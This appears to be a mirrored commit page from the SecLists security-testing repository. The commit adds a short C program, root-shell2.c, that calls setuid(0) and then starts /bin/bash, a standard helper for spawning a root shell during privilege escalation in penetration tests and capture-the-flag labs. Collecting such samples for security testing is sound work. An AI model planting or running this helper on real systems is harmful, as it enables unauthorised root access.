mirror of
https://github.com/danielmiessler/SecLists.git
synced 2026-07-21 00:35:51 +00:00
Add example c root-shells
This commit is contained in:
@@ -0,0 +1,10 @@
|
||||
// $ gcc -o root-shell2 root-shell2.c
|
||||
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
setuid(0);
|
||||
execl("/bin/bash", "bash", (char *)NULL);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user